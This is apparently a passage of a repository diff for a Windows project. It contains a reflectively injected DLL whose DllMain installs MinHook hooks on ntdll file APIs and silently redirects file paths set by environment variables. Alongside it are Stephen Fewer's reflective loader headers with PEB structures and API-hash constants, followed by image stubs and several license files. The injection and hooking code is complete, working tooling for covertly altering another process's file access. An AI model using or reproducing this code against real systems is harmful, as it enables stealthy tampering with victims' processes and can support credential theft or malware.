ObjectAttributes->ObjectName = &newString;
}
}
}
NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtSetInformationFile(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
) {
typedef struct {
BOOLEAN ReplaceIfExists;
HANDLE RootDirectory;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_RENAME_INFO;
if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) {
FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation;
if (renameInfo->FileNameLength > 0) {
SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR);
if (NeedsRedirection(renameInfo->FileName, pathLength)) {
SIZE_T newLength = 0;
WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength);
if (newPath) {
ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR));
FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
if (newRenameInfo) {
newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists;
newRenameInfo->RootDirectory = renameInfo->RootDirectory;
newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength);
NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass);
HeapFree(GetProcessHeap(), 0, newRenameInfo);
HeapFree(GetProcessHeap(), 0, newPath);
return result;
}
HeapFree(GetProcessHeap(), 0, newPath);
}
}
}
}
return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
}
NTSTATUS NTAPI HookedNtQueryAttributesFile(
POBJECT_ATTRIBUTES ObjectAttributes,
PVOID FileInformation
) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
}
}
NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtQueryFullAttributesFile(
POBJECT_ATTRIBUTES ObjectAttributes,
PVOID FileInformation
) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
}
}
NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtQueryDirectoryFile(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
) {
return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
FileInformation, Length, FileInformationClass,
ReturnSingleEntry, FileName, RestartScan);
}
NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
ULONG QueryFlags,
PUNICODE_STRING FileName
) {
return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
FileInformation, Length, FileInformationClass,
QueryFlags, FileName);
}
// Install all hooks
void InstallNtApiHooks(LPVOID lpParameter) {
// Use a global try-catch to prevent any crashes
__try {
#if ENABLE_DEBUG_LOGGING
// Enable logging for debugging
WCHAR logPath[512];
__try {
ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512);
g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
g_LogFile = INVALID_HANDLE_VALUE;
}
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("=== DLL Injection Started ===");
}
#else
g_LogFile = INVALID_HANDLE_VALUE;
#endif
// Initialize to empty strings to prevent crashes
g_SearchString[0] = L'\0';
g_ReplacementString[0] = L'\0';
// Try to get configuration from environment variables
__try {
WCHAR envSearchString[512] = { 0 };
WCHAR envReplaceString[512] = { 0 };
DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512);
DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512);
if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) {
wcsncpy_s(g_SearchString, 512, envSearchString, searchLen);
g_SearchString[searchLen] = L'\0';
wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen);
g_ReplacementString[replaceLen] = L'\0';
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebug(L"========================================");
LogDebug(L"[ENV] Search string from env: ");
LogDebug(g_SearchString);
LogDebug(L"[ENV] Replacement string from env: ");
LogDebug(g_ReplacementString);
char lenMsg[256];
sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString));
LogDebugA(lenMsg);
LogDebug(L"========================================");
}
}
else {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("Environment variables not found, hooks disabled");
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("Exception reading environment variables");
}
g_SearchString[0] = L'\0';
g_ReplacementString[0] = L'\0';
}
// Initialize MinHook (this must succeed)
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("Initializing MinHook...");
}
if (MH_Initialize() != MH_OK) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("ERROR: MinHook initialization failed!");
}
return;
}
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("MinHook initialized successfully");
}
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("ERROR: Failed to get ntdll.dll handle!");
}
MH_Uninitialize();
return;
}
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("Got ntdll.dll handle");
}
// Hook all the NT APIs
FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile");
if (pNtCreateFile) {
MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile);
MH_EnableHook(pNtCreateFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile");
}
FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile");
if (pNtOpenFile) {
MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile);
MH_EnableHook(pNtOpenFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtOpenFile");
}
FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile");
if (pNtDeleteFile) {
MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile);
MH_EnableHook(pNtDeleteFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile");
}
FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile");
if (pNtSetInformationFile) {
MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile);
MH_EnableHook(pNtSetInformationFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile");
}
FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile");
if (pNtQueryAttributesFile) {
MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile);
MH_EnableHook(pNtQueryAttributesFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile");
}
FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile");
if (pNtQueryFullAttributesFile) {
MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile);
MH_EnableHook(pNtQueryFullAttributesFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile");
}
FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile");
if (pNtQueryDirectoryFile) {
MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile);
MH_EnableHook(pNtQueryDirectoryFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile");
}
FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx");
if (pNtQueryDirectoryFileEx) {
MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx);
MH_EnableHook(pNtQueryDirectoryFileEx);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx");
}
g_HooksInitialized = TRUE;
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("=== All hooks installed successfully ===");
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
char excMsg[256];
sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode());
LogDebugA(excMsg);
}
}
}
void RemoveNtApiHooks() {
__try {
LogDebugA("=== Removing hooks ===");
g_HooksInitialized = FALSE;
MH_DisableHook(MH_ALL_HOOKS);
MH_Uninitialize();
if (g_LogFile != INVALID_HANDLE_VALUE) {
CloseHandle(g_LogFile);
g_LogFile = INVALID_HANDLE_VALUE;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
// Fail silently on cleanup
}
}
#ifdef __cplusplus
}
#endif
+23
View File
@@ -0,0 +1,23 @@
//===============================================================================================//
// NT API Hooking Header
//===============================================================================================//
#ifndef _NTAPIHOOKS_H
#define _NTAPIHOOKS_H
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
// Initialize all NT API hooks
void InstallNtApiHooks(LPVOID lpParameter);
// Remove all NT API hooks
void RemoveNtApiHooks();
#ifdef __cplusplus
}
#endif
#endif // _NTAPIHOOKS_H
+12
View File
@@ -0,0 +1,12 @@
//===============================================================================================//
// NT API Hook Configuration
// Edit this file and rebuild to change settings
//===============================================================================================//
#ifndef _NTAPIHOOKS_CONFIG_H
#define _NTAPIHOOKS_CONFIG_H
// Set to 1 to enable detailed logging, 0 to disable
// Log file will be created at %TEMP%\rdi_hooks.log
#define ENABLE_DEBUG_LOGGING 0
#endif // _NTAPIHOOKS_CONFIG_H
@@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
+43
View File
@@ -0,0 +1,43 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include "NtApiHooks.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
// Store the parameter passed to ReflectiveLoader
extern LPVOID g_lpReflectiveParameter;
//===============================================================================================//
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
DisableThreadLibraryCalls(hinstDLL);
// Install NT API hooks with the parameter passed from the injector
InstallNtApiHooks(g_lpReflectiveParameter);
break;
case DLL_PROCESS_DETACH:
// Remove hooks on detach
RemoveNtApiHooks();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
+203
View File
@@ -0,0 +1,203 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
__forceinline DWORD hash(char* c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 182 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 117 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 361 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 75 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 PulsarTeam
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+21
View File
@@ -0,0 +1,21 @@
The MIT License
Copyright (c) 2011 Bernhard Elbl
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
+39
View File
@@ -0,0 +1,39 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta content="text/html; charset=ISO-8859-1"
http-equiv="content-type">
<title>License</title>
</head>
<body>
<h2>The Bouncy Castle Cryptographic C#&reg; API</h2>
<h3>License:</h3>
The Bouncy Castle License<br>
Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc.
(https://www.bouncycastle.org)<br>
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"), to deal in the
Software without restriction, including without limitation the rights to use, copy, modify, merge,
publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:<br>
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.<br>
<span style="font-weight: bold;">THE SOFTWARE IS PROVIDED "AS IS",
WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">INCLUDING BUT NOT LIMITED TO THE
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">PURPOSE AND NONINFRINGEMENT. IN NO
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">DEALINGS IN THE SOFTWARE.<br>
<br>
</span>
</body>
</html>
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2010-2018 George Mamaladze
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
